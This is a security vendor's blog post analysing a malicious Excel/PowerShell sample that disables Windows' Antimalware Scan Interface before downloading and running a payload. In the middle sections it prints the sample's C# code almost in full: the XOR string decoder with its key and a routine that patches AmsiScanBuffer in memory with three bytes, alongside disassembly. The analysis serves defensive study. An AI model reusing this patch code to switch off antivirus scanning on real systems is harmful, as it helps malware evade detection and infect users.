Blog Disabling Anti-Malware Scanning

Technical Blog

February 20, 2019 Category: Threats By: Toby Gray Comments: 0

Disabling Anti-Malware Scanning

This post follows on from the previous blog post, Preview Pane, looking at the later parts of the kill chain for the same malicious document.

Here I will detail a technique for disabling the Antimalware Scan Interface (AMSI). This is an interface provided as part of Microsoft Windows for scanning data with anti-malware software installed on the system. This allows applications to request scanning of downloaded data before writing the data to a file, as one example. If a piece of malware can disable this interface, then it can evade anti-virus. In this post I will look at how a sample we received from a customer did just that.

The Excel documents that are launched from the RTF document each contain obfuscated macros:

AMSI Disabling AntiMalware Software Bromium blog

Following through this obfuscated code, we discovered that it runs a command that’s contained in cell G135 in an obfuscated form:

AMSI command that’s contained in cell G135 in an obfuscated form

After going through these multiple levels of obfuscation, the Excel document macros finally launch PowerShell. Because Bromium monitors activity that happens inside of the isolated VM, there is no need to de-obfuscate these many layers manually.  The threat reported to the Bromium Controller for the malicious document contains a trace of activity inside the VM, including the full script that Powershell will execute:

Disabling Antimalware Software Bromium blog

Ultimately, this script attempts to download an executable from a compromised website, which it then executes, a very common technique. The script even sets the user-agent on the request to an apparently meaningless string – which is likely being used by the compromised server to either customize the payload that is downloaded or for tracking the success of different methods of infecting machines.

However, an unusual technique in the sample is that the PowerShell script first converts some XOR obfuscated base16 encoded text into a C# script, which disables some of the Microsoft AV APIs to avoid the file being scanned as it is downloaded.

It does this by using the Add-Type command in PowerShell to load some C# code. After loading this C# code, the PowerShell instance invokes the “rbc5492” method on the class with name “o15b72” before sleeping for 1 second, then downloading and running the payload for the next stage of the attack.

The C# code makes use of the following native APIs:

     [DllImport("kernel32")]
     public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
     [DllImport("kernel32")]
     public static extern IntPtr LoadLibrary(string name);
     [DllImport("kernel32")]
     public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint 
flNewProtect, out uint lpflOldProtect);
     [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
     static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

Leaving the “rbc5492” method to analyse last, the only other method in the class is “v4bad81”:

 

       public static string v4bad81(string strIn)
{
          string rbf4534 = "a25baab";
     string m941db = String.Empty;
     for (int i = 0; i < strIn.Length; i += 2)
     {
       byte b72323 = Convert.ToByte(strIn.Substring(i, 2), 16);
       m941db += (char)(b72323 ^ rbf4534[(i / 2) % rbf4534.Length]);
     }

     return m941db;
}

(The strange indentation of the method might also show some copy-paste or just poor code review practices by the malware authors.)

This “v4bad81” method takes a string as input, performs some decoding of it and then returns that string.

It steps through the input string, 2 characters at a time, and decodes them using Convert.ToByte as hex, that’s the 16 in the second argument and the numerical base of the string. The malware then takes that value and XORs it with a value extracted from “rbf4534” and appends that to the final output string.

Interestingly, this XOR-based method of obfuscation is identical to the method used to obfuscate the C# code in the first place – even down to using the same key and method name as the PowerShell function.

So that brings us to the “rbc5492” method, which we will go through a few lines at a time:

public static int rbc5492()
{
     IntPtr k98a91f = LoadLibrary(v4bad81("005f460b4f050e0d"));
     if (k98a91f == IntPtr.Zero)
     {
       return 1;
     }

This loads the library described by the obfuscated string “005f460b4f050e0d”. Putting that into the de-obfuscation method gives “amsi.dll”. Therefore, this code is just loading a handle to the Antimalware Scan Interface (AMSI) DLL.

     IntPtr wc852 = GetProcAddress(k98a91f, v4bad81("205f460b3202030f704004070410"));
     if (wc852 == IntPtr.Zero)
     {
     return 1;
     }

The next part of the code then uses that DLL handle to load the address of the function in the obfuscated string “205f460b3202030f704004070410”, which is “AmsiScanBuffer” when de-obfuscated. This function is used to scan the contents of buffers for malware.

     UIntPtr dwSize = (UIntPtr)5;
     uint Zero = 0;
     if (!VirtualProtect(wc852, dwSize, 0x40, out Zero))
     {
     return 1;
     }

The next part then changes the memory permissions on the “AmsiScanBuffer” code to be 0x40, which is PAGE_EXECUTE_READWRITE. This is to allow modification of the code.

       Byte[] Patch = { 0x31, 0xff, 0x90 };
       IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
       Marshal.Copy(Patch, 0, unmanagedPointer, 3);
       MoveMemory(new IntPtr(wc852.ToInt64() + 0x001b), unmanagedPointer, 3);
       return 0;
     }

This copies three bytes of memory to the offset of 0x1b (27 in decimal) into the “AmsiScanBuffer” function. After doing this it returns, which will return control back to the PowerShell script, which will sleep for 1 second before doing the download.

So, what’s at 27 bytes into the AmsiScanBuffer function? On a 64-bit Windows 10 Redstone 4 system this is as follows, with the modified instruction highlighted in red at 00007fff`f479243b:

amsi!AmsiScanBuffer:
00007fff`f4792420 4c8bdc           mov     r11, rsp
00007fff`f4792423 49895b08         mov     qword ptr [r11+8], rbx
00007fff`f4792427 49896b10         mov     qword ptr [r11+10h], rbp
00007fff`f479242b 49897318         mov     qword ptr [r11+18h], rsi
00007fff`f479242f 57               push    rdi
00007fff`f4792430 4156             push    r14
00007fff`f4792432 4157             push    r15
00007fff`f4792434 4883ec70         sub     rsp, 70h
00007fff`f4792438 4d8bf9           mov     r15, r9
00007fff`f479243b 418bf8           mov     edi, r8d <- Modified instruction
00007fff`f479243e 488bf2           mov     rsi, rdx
…

The three bytes that are written into the memory convert the modified instruction into two instructions:

00007fff`f479243b 31ff             xor     edi, edi
00007fff`f479243d 90               nop

This replaces the instruction that copies r8d into edi with just setting edi to zero. The reason for this is because r8d holds the third function parameter in the x64 calling convention. The prototype for the AmsiScanBuffer function is:

     HRESULT AmsiScanBuffer(
     HAMSICONTEXT amsiContext,
     PVOID        buffer,
     ULONG        length,
     LPCWSTR      contentName,
     HAMSISESSION amsiSession,
     AMSI_RESULT  *result
);

(From https://docs.microsoft.com/en-us/windows/desktop/api/amsi/nf-amsi-amsiscanbuffer)

By making the third argument always be treated as zero, it renders AmsiScanBuffer useless as it will always think that it is scanning a zero-length buffer. As this patching is done from within PowerShell, the result will be that any calls the PowerShell process (and only that process) makes to AmsiScanBuffer will do nothing. This prevents PowerShell from passing the downloaded code to anti-malware tools for scanning, therefore allowing the malicious data to be written to file.

We speculate that the 1-second sleep that PowerShell does after this C# code is to ensure that the CPU instruction cache is flushed, which is something you must do when modifying code. However , if this is the case we do not understand why the malware wouldn’t make use of FlushInstructionCache.

Many others have reported that disabling AMSI is a feature offered by some exploit kits, so it is interesting to see one of the techniques for doing this in malware in the wild. However, the C# code is very similar to a proof of concept posted last year, but with the addition of obfuscation of the library and function names.

Because Bromium Secure Platform isolates malware inside a lightweight micro-VM and can look into that VM from outside, techniques like this don’t evade the detection or protection provided to our users.

About the Author

Toby Gray

Toby Gray
Software Engineer

Recent Techinical Blog Posts

Categories
2019-06-10T18:56:10-07:00February 20th, 2019|Threats|

Leave A Comment

See Bromium in Action

Request a demo and see how Bromium isolation will put an end to malware and attacks once and for all.

Request a Demo
Share
Tweet
Share

By continuing to use the site, you agree to the use of cookies. More information

The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

Close